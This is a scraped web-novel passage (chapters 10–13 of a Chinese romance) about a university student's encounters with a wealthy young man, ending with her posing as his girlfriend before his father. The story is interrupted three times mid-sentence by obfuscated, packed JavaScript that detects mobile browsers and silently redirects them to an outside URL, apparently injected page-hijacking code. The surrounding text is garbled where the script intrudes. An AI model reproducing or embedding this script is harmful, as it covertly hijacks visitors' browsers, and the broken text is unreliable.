“好的，今天多谢你们招待。” 温芷茵轻吐一口气，抓起包把饮料塞进去，然后跟他们摆摆手。 出门的时候走得太急还差点绊倒在门槛上。 “我咋感觉她有点慌慌张张地，你干啥了？” 齐泽玄拎着易拉罐，单手拉开拉环，灌了一口。 可乐的碳酸液体沾在舌头上，麻酥酥的。 他舔了舔嘴唇：“今天的蓝色妖姬有点儿上头。” 10.第十章 温芷茵回到学校的时候，心脏还在扑通扑通地乱跳。 也不知道为什么，脑子里总浮现出那个男人的身影。 他站在她身后时说话的声音，那么近，那么有磁性，仿佛有种魔力，挠得她心痒。 还有他那副错愕又认真的表情，眼神直勾勾地凝过来，让人不敢直视。 心底种了棵草，疯狂想要发芽，却因为胆怯又被压了回去。 学校门口的柏油路，比往常走得更久，更慢，时光都被拉得悠长。 一想到以后或许就没有机会见到他了。 温芷茵的胸口就开始发闷。 - 期中考试要来了，大家都在忙着复习功课。 温芷茵也开始频繁往图书馆跑，相比于教室，她更喜欢在图书馆自习，更有看书的氛围。 温芷茵高中的时候各科成绩比较均衡，当初一直很发愁，因为没有能拉开分数的科目，高考稍微一有闪失就上不了太好的学校。 好在她高考发挥得还算稳定，考上北科大，已经很满意了。 不过这个所有科目成绩均衡的特点，到大学后就有了很大优势，能保证不挂科，甚至科科达到优异。 晚上回到宿舍，只有陈若在。她习惯性地扎起一条马尾，正冥思苦想一道统计学计算题。 “知知，你帮我看看这个题怎么解，我看了半天也没看明白。” 统计学她白天刚复习完，拿过陈若的书看了几眼，心里便有了思路。 给陈若讲完，她一副恍然大悟的样子：“原来如此，我好像被自己给绕进去了。” “老天保佑，希望我这科能及格。” “你把那些公示和知识点都记住，肯定没问题。” “难啊，我记住了也不会用啊，要是能像语文那样记住就能写答案就好了。” 温芷茵想起，陈若好像是比较擅长文科类。 “没事，如果还有不懂的地方随时问我，我白天在图书馆，晚上回来也有空。” “那太感谢了，考完试我请你吃饭。” 话题被打开，陈若又好奇地问了句：“知知，你想没想过毕业后去干嘛呀？” “你的意思是做什么工作？” “嗯，或者考研什么的。” 温芷茵托腮思考了下，她确实有想过这个问题。 读了十几年的书，真的有些厌倦了，不想再继续考研。但是工作，先不谈经济形势这么差，她觉得自己可能也不喜欢去公司。 “我打算寒假有机会去找个实习，真实体验一下公司里的氛围，如果实在不喜欢，就......” “就什么？”陈若歪头看着她。 “考公。” “考公啊，也是个不错的选择，但现在好像考得人蛮多的，也不太容易。” “嗯，竞争确实很激烈。” 温芷茵第一次冒出这个想法的时候还是在高中，那时候单纯觉得公务员可以为国家人民做点实事儿，比在公司打工有意义得多。 没想到过了几年，经济变差，公务员作为一个稳定的铁饭碗，已经成为工作中的香饽饽。 考试连着考了两周，最后一科考完，大家都筋疲力尽，但仍压不住内心的兴奋，走在楼道里都在讨论要去哪里放松。 苏菁菁提出建议去酒吧团建，陈若和宋纤凝都同意了，温芷茵还有些犹豫。 “知知，不是你想的那种乱糟糟的酒吧，我选的可是相当高端以及有格调的。” “是诶，乖乖女当够了也要放肆一回。”陈若也跟着劝。 说起格调这个词，温芷茵脑子里就蹦出了那杯“蓝色妖姬”。 她弯眼“嗯”了一声。 “燃烬”酒吧主打的风格是悠扬慢节奏，没有舞池蹦迪，台上主场乐队演奏得也是舒缓的音乐。 但到底是昏暗的场所，一进门，就能感受到那暧昧旖旎的氛围。 温芷茵几人来到一散台处坐下。 “我们喝什么？” 几个人除了苏菁菁，都是第一次来酒吧，对鸡尾酒的类型毫无经验。 “随便点吧，看度数不高的都行。” 桌上扫二维码便可下单，苏菁菁直接点了一杯莫吉托，陈若和宋纤凝按照自己的眼缘点了长岛冰茶和椰林飘香。 “知知，你要哪个？” 温芷茵还在看着手机里的图片挑选，她看了一圈也没有看到蓝色妖姬的字样，不免有些失望。 最后，她点了一杯人鱼的眼泪，同样是湛蓝色的液体。 “你们看，那个调酒师好帅啊。” 调酒师是个朋克装扮的小哥哥，面容俊朗，手中娴熟地转着酒瓶，引得一堆人围观。 几个人看着调酒师花痴，温芷茵心里想得却是另一个人。 肩宽腿长，永远一身的黑色，脸上带着痞痞的笑。 “你发什么呆，这就看花眼了？”苏菁菁捅了捅她。 “没有，我......我想去个卫生间。” 她给自己找了个掩饰的理由。 几分钟后，温芷茵从卫生间出来，正好角落那边走了几个人。 空间一腾出，旁边卡座位置上的客人也就显露出来。 三男两女。 左边的女孩长卷发，看打扮像个富家小姐，右边的女孩很清纯，但穿着性感，有一股纯欲风。 对面三个男人，坐在外面的是个潮男，在喋喋不休地说话。中间位置的人面色冷淡，双手抱臂，长得也是极为惹眼。 这两个人她都认识。 史策和卫煜。 她看不清里面人的样子，那个男人隐匿在黑暗中，但她的脑子里已经浮现出那个人的名字。 温芷茵绻了下手指。 不知道为什么，在这儿看见了他，并不觉得有多开心。 内心反而涌上一丝的烦躁，像有块石头压在胸口。 温芷茵站在卫生间门口时间太久，苏菁菁从座位上站起来冲她摆手：“知知，你干嘛呢？这边！” 这一声喊，引得卡座里面的那个男人动了动身子，抬头望去。 正好和不远处的女孩对上视线。 一双漆黑的眸子，带着些许讶异和深邃。 温芷茵心里蓦地一跳，赶紧别过头。 她小跑着回到座位上，像是做了什么虚心事。 “怎么了？感觉你怪怪的。” “没什么，可能喝了点酒脑袋不利索了。” 陈若笑道：“你的酒量也太差了吧。” 接下来的聊天里，温芷茵总有些心不在焉。 她时不时用余光瞄卡座那边的人，这个位置正好背对着齐泽玄，能看到对面那两个女孩。 温芷茵心里想，她们长得真漂亮啊，气质也很好，是学生打扮不出来的那种成熟又优雅的气质。 “已经四点了，我们差不多走吧。”苏菁菁提议道。 不知不觉，已经过去了两个小时。 酒喝了，调酒小哥哥也看了，音乐也听了，该回学校了。 “嗯，走吧。” 几个人站起来，走向门口。 温芷茵在经过卡座的一瞬间，犹豫着要不要打声招呼，毕竟算是认识的人。 结果别说说句话了，连看都没敢往那边看，也不知道在别扭什么。 “温芷茵。”一个男人清沉的嗓音传来，紧接着缓缓走过一道身影。 齐泽玄来到她旁边，单手插兜，另一只胳膊搭在旁边的隔离台上：“看见也不知道打个招呼，这么快就把我忘了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087600|163010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 温芷茵被迫停下脚步，一双水灵的眼睛里却透着黯淡：“我看你有朋友在，怕打扰到你们。” 一个绝世帅哥过来搭讪，另外三个人努力克制住八卦的欲望，纷纷懂事得表示：“知知你们先聊，不急，我们去门口等候。” 说完三人跑到门口的休息区，坐在椅子上面带微笑地看向这边。 温芷茵：“......” 齐泽玄开口道：“跟同学过来的？” 温芷茵点头：“都是舍友，因为刚考完试，大家就说来这边放松一下。” 她说话时，不经意对上了前面卡座里那个纯欲风女孩的目光，对方似是一直在往这边瞄。 “这里能有什么好玩儿的，想放松的话，我下次带你去别的地方。” 温芷茵没太把这句话放在心上，觉得只是一句客气的话，但又很想把一些憋闷地情绪发泄出来。 小声嘟囔一句：“不好玩儿你还来啊......” 齐泽玄挑了挑眉，像是听了一句不可思议的话。 意识到自己失态了，温芷茵赶紧认错：“对不起我随口说的，你别放在心上。” 然而下一秒，男人突然笑了起来。 “小姑娘学会怼人了，我只是陪朋友来相亲，可不是来玩儿。” 他语气漫不经心地，带着些欠欠的味道。 “相亲？” “嗯，”他回过头，“卫煜，你见过他的。” “可是为什么会在这里相亲？” 温芷茵感到不可思议，哪有相亲来酒吧的。 齐泽玄又笑：“他喜欢啊，没办法。” 这几分钟的功夫，对面一群人也站了起来，看样子是相亲结束了。 卷发女孩跟他们客气地道了别，没有任何多余的话。倒是纯欲风女孩态度非常热情，临走时还表示希望下次再约。 史策和卫煜也过来和温芷茵打了个招呼，然后史策按上了旁边男人的肩膀： “你别说这招儿真好使啊，那千金估计从没来过这样的地方，气坏了。她是看不上煜哥了，不过，我看她闺蜜倒是看上你了。” 齐泽玄拍开他的手：“别胡扯。” “哪儿胡扯了，好家伙这一边问你聊这聊那一边暗送秋波，不知道的还以为你俩相亲呢。” “你又不是不知道，他一向受女孩子欢迎。” 卫煜仍是一副冷淡的模样，连调侃都冷津津地。 “人家也习惯了吧，拒绝多少女孩子了。” 温芷茵刚才还觉得精神恢复了一些，此刻心情似乎又掉入冰窖。 “那你们聊，我和同学就先走了。”她低声说。 齐泽玄在她身上扫了几眼，才轻声道一声“好”。 见四人已离开，齐泽玄拿出车钥匙：“你们打车或者叫司机来接吧，我回壹号院了。” “别啊，你这只管拉不管售后啊，我不打车我就要坐你车。”史策赖着说。 齐泽玄轻笑了下，也没再跟他较劲儿。 上车后。 几个人似乎有些累了，谁也没再说话。卫煜闭目养神，史策玩儿着手机。 等红灯的间隙，齐泽玄的手机响了起来，他看了眼屏幕，立即挂断了。 “又是哪个妹子打来的？” “不知道。” 史策“啧”了一声：“你老爹不会又把你手机号出卖了吧。” 他放下手里的小游戏，突然侧头：“齐爷，我特别想问你个事儿。” 绿灯亮起，齐泽玄踩了一脚油门，车子立即蹿了出去。 他神色淡淡：“说。” “就是——”史策顿了下，像是在琢磨用词。 “那个叫温芷茵的小姑娘，你真对她没意思？” 11.第十一章 车内一片寂静。 史策见他没说话，继续叨叨：“别嫌我烦，老早就想问着我可好奇死了，还没见你带过姑娘去华笙阁呢。” “煜哥是不是啊，你也挺好奇的吧？” 卫煜明显还醒着，嘴角动了动，但也没接话。 车里人都在等他的回答。 几秒后，齐泽玄终于开口：“没有，就是带她来玩儿。” 他说这话时脸上没什么表情，看不出在想什么。 “没有？没有对人家的事那么上心，你是闲的啊。” “她才多大，不到二十。”齐泽玄语气淡淡，“还是个小姑娘。” “那也成年了啊，成年就可以谈，不违法。” “你就别拿你的理论往他身上套了，”卫煜眼睛闭着，仍不妨碍输出，“他不像你色胚一个。” 史策忍住想要发火的冲动，无奈转头又看向卫煜：“说起来，你还没放弃你的白月光呢？今天这场相亲你做得够绝的啊，我看还有哪家千金愿意给你介绍。” 他一脸看热闹的表情，卫煜耸耸肩，满不在乎：“没人介绍那不是正合适。” 见话题聊不下去，史策又继续开始刷手机。 没一会儿，似是想起什么，补充道：“对了齐爷，先送我回家啊，让煜哥在这多睡会儿，他回去也睡不踏实。” - 刚一离开酒吧，苏菁菁就耐不住八卦的心情问起来：“知知，刚才那个男生是谁呀，怎么从来没听你说过？” 陈若和宋纤凝也目不转睛地看着温芷茵，满脸写着好奇。 “之前和你们提过的，你们忘了——” “噢我知道了！”苏菁菁像是突然回忆起来，兴奋地瞪大双眼，“是那个曾经扮演过你男朋友的公子哥对不对！” 温芷茵点头，然后低头用手机搜索学校地址：“这次我来打车吧，在学校跟你们蹭过好几次饭了。” 几个人心思根本没在这上面，执着于吃瓜。 “早说嘛让你们多聊会儿培养下感情。” “你别说确实很帅，比咱们学校那个程阳都帅！” 程阳是北科大的校草，浓眉大眼，185的身高，擅长打篮球，每次篮球场上都有一堆迷妹在看。 “我感觉他跟程阳不是一个类型，程阳是那种阳光俊朗潇洒型的，他是硬帅，往那一站气场就很不一样。” “对，感觉就是桀骜中又带点贵气。” 苏菁菁和陈若热烈地讨论着，只有宋纤凝一言不发。 出租车来了，几人弯腰上了车，温芷茵坐在前面，其余人坐在后面。 “知知，你俩真没戏啊，他刚才主动叫你诶。”苏菁菁还不死心。 “别脑补太多啦，他就是客气一下，而且——”温芷茵垂下眼，声音变得很轻，“喜欢他的女孩子应该挺多的。” 苏菁菁叹了口气，一脸可惜。 随后转头看向那个安静出奇的舍友，搂起她的肩膀：“纤凝，你对帅哥是一点儿也不感兴趣啊，完全不参与讨论。” “嗯......也不是。” 她脸涨得有点红，“我就是觉得，旁边那个人更帅。” “哈？” 这下所有人都看向了宋纤凝，连温芷茵都回过头。 “你说那个穿长大衣的？” “嗯。” 苏菁菁竖起大拇指：“原来我们纤凝喜欢一本正经的类型，矜贵霸总。” “你从哪里学来的词，这都套上了。”宋纤凝脸更红了，她本来是齐肩发，平时都把头发掖到耳后，今天放了下来，遮住大半张脸。 “你多看点小说就知道啦。”苏菁菁笑嘻嘻地逗她。 “我也没说喜欢他，就是觉得挺帅的......” “嗨，我们都懂，一个意思。” “才不是一个意思。” ...... - 在学校里的日子平淡又无聊，温芷茵在大一时参加过一年的学生会新闻部，进去后才发现自己根本不是混学生会的料。 她不会写稿子，刚开始活动只管负责组织现场，忙的时候要站上一天，累得腰酸腿疼。 后来自学视频剪辑终于争取转到了剪辑组，她又是负责最后的加工和审核，经常忙到半夜。 到了大二，她干脆什么组织社团都不参加了，课后打打游戏，没事的时候就泡在图书馆看书。 这天，温芷茵正在看一本有关辩论知识的书，手机“嗡”地震动了一下。 以为是苏菁菁喊她吃饭，也没在意。 打开一看，红点下的名字赫然写着“齐泽玄”三个字。 温芷茵心头一紧，点开。 是一张照片。 照片像是随意一拍，隔着马路，对面是一栋非常宏伟的建筑，顶部是球状。 这看起来像是......天文馆？ 他给她发这个干什么？...... 温芷茵还没来得及思考清楚，就看到照片悠地一下被撤回了。 紧接着又发来一句话。 【抱歉，发错了，你跟我朋友的头像很像。】 她的头像是一只卡通的橘黄色小猫，在刷某书时看到，觉得很可爱，再加上她也喜欢黄色，就当作了头像。 温芷茵抿唇，内心莫名地有种失落感。 【嗯，没事。】 回完之后，注意力总也无法回到书中。 想起刚才那张照片，忍不住问了一句：【你要去天文馆嘛？】 齐泽玄：【没有，在这等一个朋友吃饭，正好在天文馆对面。】 温芷茵：【哦....还以为你要去呢。】 她感觉这段对话好像只能到此为止了，他大概也会回一个表情包“笑脸”“嗯”之类的就此结束。 温芷茵放下手机，把头埋在臂里。 再次听到手机震动，她也没起来，把手机拿到桌下看了一眼。 齐泽玄：【你想去天文馆吗？】 温芷茵腾地坐直身子，深吸一口气。 思考要怎么回。 然而下一秒，又蹦出一条信息。 【或者有没有兴趣去国家天文台？天气好的话夜晚能看到银河。】 温芷茵的心脏简直要跳出来，她立即打下几个字：【好啊，什么时候去？我这几天都有空。】 发完之后，才意识到自己是不是太不矜持了。 想撤回重发，可是对面已经显示正在输入中...... 真要命。 她捂住脸。 - 国家天文台在北郊外的旷野上，距离市里比较远，夜晚也凉。 温芷茵根据齐泽玄的叮嘱带了厚外套，还有一些防蚊虫叮咬的药。 一般去天文台玩会选择住一晚，但齐泽玄说不在那边住，晚上观赏完就开车回来。 主要是他们两个住宿不方便。 他肯定不能跟她同住，但她一个小姑娘自己住他又不放心。 齐泽玄解释这件事的时候，语气一本正经又严肃，温芷茵却感到耳尖泛红。 不仅是因为他的关心，还有那些字眼，看上去也未免太暧昧了些...... 出发当天，温芷茵照例带了一个大大的双肩包，穿着呢绒外套，戴了围巾和帽子。 坐上车后，才把帽子摘下来。 再看一眼驾驶座上的男人，他只穿了一件厚一点的黑色外套，里面是同色系高领毛衣，看上去加在一起都没有她的呢绒大衣厚。 “你吃饭了没？” 温芷茵收回思绪：“吃了汉堡和薯条，晚上不用再吃了。” 齐泽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091337|163010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玄不知道从哪里拿出一包零食和糖果，递给她。 “路程比较长，大概三个小时，饿了可以再吃点。” 温芷茵：“......好，谢谢。” 还真的把她当成小孩子了。 “想听歌吗？” “嗯，可以。” 齐泽玄把车载蓝牙打开：“手机匹配下，想听什么自己放。” 说起来距离上次见面已经有一个月了，可他似乎一点也没有生疏的感觉。 甚至更体贴了。 温芷茵打开手机匹配上，然后放了一首古风歌曲。 月夕江皱秋波 满船清梦压星河 但有夜雀 无人和悲歌 ...... 徒余留 明月忆往昔 温酒会知音 借问人间知我者能有几 ......[1] “这首歌叫什么？”他突然问。 “知我，我父亲很喜欢听，因为他觉得有一句歌词’温酒会知音’，很像我名字的谐音。” “哦？那确实不错。”齐泽玄笑得带着气音，“这个释义听起来倒是比你第一次解释得有意义多了。” 温芷茵想起当初她那句“草字旁的芷，草字旁的茵。” ......真是好尴尬！ 两人有一段时间没说话，伴随着歌声，温芷茵有点犯困，但她不想睡。 强撑着睁眼，眼皮就开始打架。 就在困意席卷大脑时，突然听到旁边男人不耐烦地“嘶”了一声。 温芷茵吓了一跳，以为自己做错什么事，赶紧揉揉眼，偏头看他。 此刻齐泽玄正目不转睛地盯着左方后视镜。 眼神凌厉，眉头紧锁。 这是怎么了？...... 温芷茵不明所以，抬眼去看中间的电子屏。 发现后面跟着的几辆车有点不同寻常。 清一色的黑色奔驰车，并排在三条道上，车牌号也是连字。 而且，不经意间露出的再往后的车辆，也是同一颜色同一款车牌。 看起来像是一个车队。 温芷茵想的是，他们要超过去？他们是不是挡住这个车队了？ 可她又发现，齐泽玄每次刹车时，后面的车也都跟着刹车，完全没有想要超过去的意思。 “这几辆车是不是不太对劲......” 齐泽玄冷笑一声，没回答她，自言自语道：“一帮碍事儿的。” 温芷茵从来没见过他这副模样，嘴角绷直，眼神像是要刀人，脸上的表情又凶又狠。 温芷茵吞了下口水，开始紧张起来。 听他的语气，他应该认识这个车队。 “他们......想要干什么？” 她的心脏突突地跳着，总有一种不好的预感。 一直以来，温芷茵对他的背景都不是很清楚，只知道他的家世不简单。 但他家里是做什么的，混的什么圈子，她都一概不知。 如果按照温芷茵对这种人仅有的一点常识...... 他朋友应该很多，同样，对手也不少。 所以这是......对家来找事的？ 温芷茵忐忑地看着电子屏，又时不时偷偷瞄一会儿旁边的人，等着他做出反应。 终于，在来到一处红绿灯前。 齐泽玄没有按照原路线直行，而是迅速掉转方向盘，向右拐去。 温芷茵也因为这突如其来的变故晃了下身子。 “我们，要去哪？——” 齐泽玄紧盯着前方，声线沉凉：“扶好。” 来不及多想，温芷茵赶紧拽住车顶部的把手。 几乎同时，车子爆发出一阵野兽般地轰鸣声，飞一般地蹿了出去。 12.第十二章 车子上了六环路，这条路的车很少，前面空旷一片。 齐泽玄把车速提到了120，导航上仍然没有提示限速信息。 看来他知道这条路没有限速，所以，他打算在这把他们甩掉么？ 温芷茵紧抓着扶手，心脏已经提到了嗓子眼儿。 表盘上的指针仍在移动。 130，140，150...... 窗外的风景根本看不清，在迅速倒退着，温芷茵闭上眼，耳畔轰鸣，像是要失重了。 不知过了多久，再一次睁眼，从电子屏的显示来看，后面的车似乎已经被甩掉。 齐泽玄也慢慢把车速降了下来。 降到一百的时候，温芷茵才深深吸上一口气，开口说话：“那些人......是你的仇家吗？” 齐泽玄似乎感到好笑，说出的话一点面子也不给：“你小说看多了。” 温芷茵：“......” “那你——”后半句话还没问出，猝不及防地，从左边小路蹿出几辆车，直接快要贴上来。 温芷茵惊叫一声。 车子迅速向右并道，同时来了个急刹车。 温芷茵这次没有准备，尽管系着安全带，肩膀还是撞在了门上。 随着齐泽玄一声低骂，车子被别停了下来。 “怎么样？有没有受伤？”他眉头蹙起，侧过身，一只手撑在她后座旁。 “没事。”温芷茵揉着肩膀，倒不是特别疼，但感觉可能又要青了。 而此刻最让她担心的，还是外面那帮人。 他们已经下了车，全部统一黑色制服，寸头，表情严肃。 他们不会要动手吧？ 温芷茵紧张地盯着窗外，咽了咽口水。 知道齐泽玄的身手不错，对付几个小混混应该没问题。 但这一群人他肯定不是对手，看起来都是专业练过的。 “我们要不要报警？”她因为害怕声音都开始发颤。 “不用。”齐泽玄看了她一眼，“别紧张，与你无关。” 可是她现在又不能在众目睽睽之下逃跑...... 而且，她也很担心他啊！结果他倒像没事人一样。 温芷茵拿出手机，以防万一。 旁边的男人却懒懒地靠着座位，看不出一丝慌张，甚至轻叹了口气。 随后—— 缓缓降下了玻璃窗。 接下来的一幕，让温芷茵完全没有预料到。 一群黑衣人呼啦一下围上来，并排站在两边。 领头的中年男子走到窗边，弯下腰：“实在抱歉，老爷下了死命令，一定要请少爷回去一趟。” 齐泽玄嗤笑一声：“这就是你们请人的态度？” 男人挤出一个难看的笑容：“因为别的方法都用尽了，一直联系不上您，所以......” “所以活要见人，死要见尸，对吧？” 大少爷一定很生气，但是老爷的命令又不能违抗，冒这个险也是逼不得已，不然他这份差事就别想干了。 领头的男人沉默下来，不说话，也不撤退，似乎就想这么耗着。 后面有车过来了，不知道前面发生了什么，都堵在这，有些没耐心地开始按喇叭。 齐泽玄终于正眼看过去：“我可以跟你们走，但是要带这个女孩一起。” 他用下巴点了点旁边。 “没问题没问题，只要您答应跟我们走，带谁都可以。” ......所以意思这是他家里的保镖？来抓他回家的？ 温芷茵一动不动，大脑在飞速思考，觉得太不可思议了。 可是为什么她也要去...... 温芷茵来不及想太多，就这么被齐泽玄带上了领头的奔驰车。 前面只有一个司机，带着耳麦，同样的不苟言笑。 其它的车依次排在后面护卫。 “很抱歉私自做了这个决定。”齐泽玄开口道。 温芷茵抬眼，对上他深不见底的黑眸，那里似乎隐藏着很多秘密，是她看不懂的情绪。 她低下头，抿着唇，不知道说什么。 齐泽玄拿出手机晃了晃，然后打下几个字：看微信。 温芷茵打开微信，点开他的名字，看见显示正在输入中。 齐泽玄：【一会儿可能需要你帮个忙。】 温芷茵：【什么忙？】 齐泽玄：【假扮一下我女朋友。】 温芷茵看着屏幕上的字，愣了片刻。 见她没有反应，齐泽玄又接着发：【只有这样父亲才可能放过我，他一直致力于把我困在家里。】 温芷茵想了想，回了一个“好”字。 放下的瞬间，心里却在打鼓。 齐泽玄：【老规矩，又欠了你一次，以后有事随时找我。】 温芷茵心下了然，来不及放松心情，又追问道：【可是，我什么都不懂，万一露馅了怎么办？】 齐泽玄：【没关系，你不用做什么，只要在我旁边就行。】 - 一个小时后，车子开进了市中心街道延线上的一所高档公寓。 温芷茵抬眼，瞟到了“霞公府”三个字。 在这个小区里，她能感受到一种庄严肃静的氛围，那种感觉和普通的豪宅不同。 下车之后。 在一堆人的护送下，两人进了电梯，来到六层。 齐泽玄往身后睨：“这么不放心我，还是说你们也要进去喝杯茶？” “没有少爷，这就撤了。” 男人一挥手，后面的人也都转了身离开。 齐泽玄本来要直接输密码，但想了想，还是按响了门铃。 开门的是一位四五十岁的中年人，背头，留着络腮胡，穿一件黑色中山服。 “庄叔，你也在。” “嗯，老爷在客厅，等你很久了。” 屋内的装修带有很浓重的中式风格。 浅灰色大理石地板，红木家具，墙上挂着古色古香的书画。 客厅的中央是非常厚重的实木茶几，后面有一道屏风，茶几上摆着一套茶具，其中一个杯子正冒着热气。 齐明修坐在沙发上，身子微微前倾，手里端着茶杯。 刚抿完一口，看见进来的两个年轻人，又放下杯子。 头也不抬，声音里带着一种天然的威严：“终于知道回家了。” 庄叔给两人备好椅子，便去了别的屋子。 齐泽玄领着温芷茵坐下。 男人的屁股刚沾上，就听到对面一声警告：“让你坐了？” 温芷茵心里“咯噔”一下。 从刚才进来开始，她就觉得后背像是被压上了一块石头，沙发上的这位长辈气场太过强大，让人有种无形的压迫感。 温芷茵双手扶住椅子两侧把手，作势要站起来。 “你坐着。” 齐明修看了她一眼，又转头看向齐泽玄，“说的是你，站起来。” 听到“指令”，温芷茵又坐回去，咽咽嗓子，用余光瞄了眼旁边。 齐泽玄没有动。 他掀起嘴角，冷笑一声：“如果您叫我回来就是为了给我使脸色，那没必要谈了。” 说完直直盯着对面的人，看不出一丝畏惧。 半响。 “好，看在今天有客人的份上，我们先放下以前的恩怨。” 齐明修十指交扣，“还不介绍一下。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15095915|163010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “女朋友。” “叫什么名字？” “温芷茵。” 齐明修点头：“什么时候开始交往的。” “一个月前。” 齐泽玄回答得干脆利落，一点心虚之感没有。 温芷茵不禁有些佩服他的心理素质。 眼前的中年男人又端起茶杯，抿了几口，面向她：“小姑娘，你自己先在这坐一会儿，我跟阿玄说几句话。” 温芷茵轻点头。 心里琢磨着，没想到这样看起来严肃又高高在上的长辈竟然会照顾她的感受。 齐明修站起身：“你跟我过来。” 落下这句话之后，便走向书房。 “等我一会儿，不会太久。”齐泽玄拍了下她的肩。 待两人都离开客厅，温芷茵紧绷的后背终于放松下来。 她左右摇摆活动下身子，刚才这局面，真是换个姿势都艰难。 ...... 书房两侧的书架上摆满了书籍，靠近内侧的一处放着一座佛龛。 齐泽玄背靠书架，两手插在兜里。 “说说你回国后这一年都干了什么。” “反正没干什么伤天害理的事。” 对于这场谈话，齐泽玄显然不想占被动位置，态度仍旧吊儿郎当的。 齐明修吞下一口气：“我送你留学，就是让你回来混日子的是吧？公司不进，生意不接，整天跟一帮狐朋狗友鬼混，齐家怎么出了你这么个逆子！” 齐泽玄似乎是习惯了，一点没有恼怒的样子。 他舔舔嘴唇：“您说得对，我是大逆不道，所以您脑子里给我安排的那些人生计划，继承公司啊，延续香火啊，还是留给谨彦吧，他更适合。” “你！——” 齐明修瞪着他，气得胸口疼，半天说不出话。 齐家从民国时期起就是大户人家，经历新中国成立的起起落落，曾经也出过一些为国家献身的英雄人物。 到了齐明修这一代，就转为经商了，他也充分发挥了自己的商业头脑，将家族资产积累到了顶峰。 齐明修有两个儿子，长子齐泽玄生性顽劣，但很聪明，为人处事有自己的一套方法，黑白通吃，他是知道的。 他一直把家族厚望寄托在齐泽玄身上，却没想到毕业之后，他对他的话是一点儿也不听了。 至于齐谨彦，倒也机敏，只是性子软弱，干不了大事。 “您不用太心急，谨彦不是马上回国了？这小子脑袋很灵光，多培养培养，将来必成大器。” 齐明修从他的表情看不出这话的水分。 他说什么都是嘴角带笑，但仔细看，眼里却不含半分笑意。 谁也猜不透他到底在想什么。 齐明修踱步到书桌旁，沉默片刻，突然想起他这次回来带的女朋友。 “那女孩儿看起来年纪不大吧？” 齐泽玄顿了顿，扫几眼对面的人，好一会儿才回：“比我小几岁。” “在哪儿念的书？” “北科大。” 齐明修拉开椅子坐下，审视着他：“做什么工作的？” “还没毕业。” 他明显错愕了一瞬，扬眉：“你是越来越放肆了啊，没毕业的小姑娘你招惹来干什么，以后能结婚？” “有什么不能的，”齐泽玄掀起眼皮，慢悠悠道，“毕业就结婚，不是正好。” 齐明修强压住怒气，继续问：“她不是圈儿里的人吧，家里是做什么的，你有了解过？够得上齐家门第？” “差不多得了。” 齐泽玄站直身子，面色冷了下来，“您对我的生活指指点点已经够多了，难道连最后一点儿脸面也要撕破？” 13.第十三章 从齐泽玄家里出来时，天已经黑了下来。 小区里很安静，月光下婆娑的树影，有种静谧的美。 “看来今晚不能去看星星了。” “嗯。” 站在车旁，有凉风吹在脸上，耳朵上，脖颈处，如刀割般，温芷茵缩了缩脖子。 齐泽玄从车里拿出她的围巾和帽子：“就在这儿看看吧。” 今日晴空万里，没有一丝乌云，的确是个观星的好日子。 温芷茵抬起头。 天空有几颗星星在眨着眼，亮晶晶的，犹如在一片黑色幕布下透着荧光，甚是好看。 一颗，两颗......她数了数，一共是十五颗。 在京市最中央地段的公寓里，也只能看到十五颗星星。 “对了，你肩膀怎么样，让我看看。” 他不说温芷茵都差点忘了，刚才在车上撞到了肩膀。 这一路太紧张，完全没把注意力放在上面。 “没事，不碰就不疼了，回去抹点消炎药就好。” 齐泽玄抬起的手停在空中。 秋天衣服穿得厚，他总不能把人家小姑娘的衣服扒了。 看她的样子，应该确实无大碍。 “好。”他收回手。 空气沉寂一会儿，温芷茵敛下眼眸：“你和你父亲谈好了吗？” “算是吧。” 他声音不咸不淡，听不出情绪。 不知道为什么，温芷茵觉得，他并不开心。 他出生在良好的世家，站在金字塔顶端，拥有大部分人一生都得不到的财富。 可是这一刻，在他身上竟能看出落寞。 “你父亲......对你是不是管得很严呀，我刚才看他跟你说话好像很严肃。” 温芷茵不知道这些话该不该问，但看到他这个样子，心里莫名觉得心疼。 “出生在这种家庭，是必然的。” 齐泽玄的脸隐匿在黑暗里，看不清表情，只能看到一层冷硬的轮廓。 “那至少，也能获得很多别人没有的东西，比如你毕业就可以做自己想做的事，不用给资本家打工......” 她本想安慰他，却发现自己嘴好笨，说不出什么惊世骇俗的话，只能盯着这点好处。 “嗯，这是一种幸运，也是一种悲哀。” 齐泽玄笑笑，摸了摸她的头，“我送你回去吧。” 隔着帽子，他手上的温度也能传进来，被触摸的地方热乎乎地，痒痒地。 “你回学校还是回家？” 今天是周五，温芷茵本想说回家，又突然想起之前答应过父母的话，改口道： “回学校吧。” 迈凯轮缓缓驶出小区，中央大街上，灯火通明。 - 十二月二十五号，圣诞节到了。 